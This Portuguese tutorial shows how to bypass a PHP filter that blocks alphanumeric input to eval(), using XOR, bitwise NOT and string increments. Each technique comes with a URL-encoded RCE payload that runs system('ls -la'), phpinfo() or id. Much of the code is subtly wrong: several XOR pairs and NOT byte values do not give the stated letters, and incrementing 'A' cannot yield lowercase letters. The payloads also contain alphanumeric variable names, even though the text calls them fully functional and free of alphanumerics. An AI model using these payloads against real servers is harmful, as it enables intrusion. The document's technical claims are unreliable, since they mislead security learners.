Técnicas de Execução Remota de Código em PHP Sem Caracteres Alfanuméricos

Contexto

Em cenários de segurança web, frequentemente nos deparamos com filtros que restringem a entrada de dados. Um desafio comum é a execução remota de código (RCE) em ambientes PHP onde a entrada do usuário é avaliada, mas é proibido o uso de caracteres alfanuméricos (letras e números).

Considere o seguinte script PHP:

<?php
highlight_file(__FILE__);
$input_code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/", $input_code)){
    die("Ataque detectado!");
}
@eval($input_code);
?>

Neste exemplo, o script aceita um parâmetro code via GET e tenta avaliá-lo com eval(). No entanto, uma expressão regular impede que $input_code contenha qualquer letra ou número. Nosso objetivo é contornar essa restrição para executar um comando, como por exemplo, eval($_GET[0]).

Técnicas de Bypass

  1. Operador XOR Bit a Bit

O operador XOR (Ou Exclusivo) em PHP permite combinar dois caracteres ASCII para produzir um terceiro. Ao selecionar cuidadosamente pares de caracteres não alfanuméricos, podemos construir qualqeur caractere alfanumérico desejado.

Por exemplo, para construir a string "eval", podemos identificar pares XOR:

  • 'e' (0x65): '{' (0x7B) ^ '\x1E' (0x1E)
  • 'v' (0x76): '!' (0x21) ^ 'P' (0x50)
  • 'a' (0x61): '^' (0x5E) ^ '\x1B' (0x1B)
  • 'l' (0x6C): '(' (0x28) ^ 'C' (0x43)

De forma similar, para construir "_GET":

  • '_': '_' (literal)
  • 'G' (0x47): '[' (0x5B) ^ '\x1E' (0x1E)
  • 'E' (0x45): '<' (0x3C) ^ '\x02' (0x02)
  • 'T' (0x54): '{' (0x7B) ^ '\x1E' (0x1E)

Combinando-os, podemos formar o seguinte payload:

$_func_cmd = ('{'^'%1E').('!'^'P').('^'^'%1B').('('^'C'); // $_func_cmd = 'eval'
$_input_var = '_'.('['^'%1E').('<'^'%02').('{'^'%1E'); // $_input_var = '_GET'
$_data_arr = $$_input_var; // $_data_arr = $_GET
$_func_cmd($_data_arr[0]); // eval($_GET[0])

Para executar um comando, o payload completo e URL-ecnodado seria enviado via GET:

?code=$func_cmd=('%7B'%5E'%1E').('!'%5E'P').('%5E'%5E'%1B').('('%5E'C');$_input_var='_'.('%5B'%5E'%1E').('%3C'%5E'%02').('%7B'%5E'%1E');$_data_arr=$$_input_var;$_func_cmd($_data_arr[0]);&0=phpinfo()

Onde &0=phpinfo() seria o comando real a ser executado.

  1. Operador NOT Bit a Bit (Negação)

O operador NOT bit a bit (~) é extremamente útil para gerar caracteres não alfanuméricos a partir de strings alvo. Quando aplicado a uma string, ele opera em cada byte. Ao reverter o processo, podemos obter a string original de uma sequência de bytes negados.

Podemos gerar as sequências de bytes negados para "eval" e "_GET" da seguinte forma:

<?php
echo urlencode(~'eval');   // Saída: %9A%9B%9E%8D
echo "\n";
echo urlencode(~'_GET');   // Saída: %A0%9C%9E%8B
?>

Com essas sequências, o payload é construído assim:

$exec_function=~('%9A%9B%9E%8D');    // $exec_function = 'eval'
$source_array=~('%A0%9C%9E%8B');      // $source_array = '_GET'
$param_value=$$source_array;          // $param_value = $_GET
$exec_function($param_value[0]);     // eval($_GET[0])

O payload URL-encodado completo seria:

?code=$exec_function=~('%9A%9B%9E%8D');$source_array=~('%A0%9C%9E%8B');$param_value=$$source_array;$exec_function($param_value[0]);&0=system('ls -la')

  1. Incremento de Caracteres

O PHP, semelhante ao Perl, possui um comportamento interessante ao incrementar variáveis de string. Quando uma string alfabética é incrementada, o próximo caractere na sequência alfabética é gerado (ex: 'A' torna-se 'B', 'Z' torna-se 'AA'). Podemos explorar isso para construir qualquer caractere e, consequentemente, strings completas.

Primeiro, precisamos obter um caractere base, como 'A'. Podemos fazer isso forçando um array a ser convertido em string, o que resulta em "Array". Em seguida, podemos extrair a primeira letra:

$_empty_arr = [];
$_str_arr = @''.$_empty_arr; // $_str_arr agora é 'Array'
$base_char_A = $_str_arr['!'=='@']; // $base_char_A agora é 'A' (índice 0)

Com 'A' como base, podemos gerar outros caracteres por meio de incrementos sucessivos. Por exemplo, para obter 'e' (0x65) a partir de 'A' (0x41), são necessários 36 incrementos. Para 'v' (0x76) são 53 incrementos, para 'a' (0x61) 32 e para 'l' (0x6C) 43.

Construindo a string "eval":

$char_e = $base_char_A; $char_e++; /* ... 35x ... */ $char_e++;
$char_v = $base_char_A; $char_v++; /* ... 52x ... */ $char_v++;
$char_a = $base_char_A; $char_a++; /* ... 31x ... */ $char_a++;
$char_l = $base_char_A; $char_l++; /* ... 42x ... */ $char_l++;
$func_eval = $char_e.$char_v.$char_a.$char_l; // $func_eval = 'eval'

Da mesma forma, para "_GET":

$underscore_char = '_';
$char_G = $base_char_A; $char_G++; /* ... 5x ... */ $char_G++;
$char_E = $base_char_A; $char_E++; /* ... 3x ... */ $char_E++;
$char_T = $base_char_A; $char_T++; /* ... 18x ... */ $char_T++;
$source_get = $underscore_char.$char_G.$char_E.$char_T; // $source_get = '_GET'

O payload final ficaria:

$_empty_arr=[];$_str_arr=@''.$_empty_arr;$base_char_A=$_str_arr['!'=='@'];$char_e=$base_char_A;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_e++;$char_v=$base_char_A;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_v++;$char_a=$base_char_A;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_a++;$char_l=$base_char_A;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$char_l++;$func_eval=$char_e.$char_v.$char_a.$char_l;$underscore_char='_';$char_G=$base_char_A;$char_G++;$char_G++;$char_G++;$char_G++;$char_G++;$char_G++;$char_E=$base_char_A;$char_E++;$char_E++;$char_E++;$char_E++;$char_T=$base_char_A;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$char_T++;$source_get=$underscore_char.$char_G.$char_E.$char_T;$param_value=$$source_get;$func_eval($param_value[0]);&0=id

Este payload, embora longo, é totalmente funcional e não contém caracteres alfanuméricos visíveis na URL.

Tags: PHP RCE web security Bitwise Operations Payload Crafting

Publicado em 7-20 16:59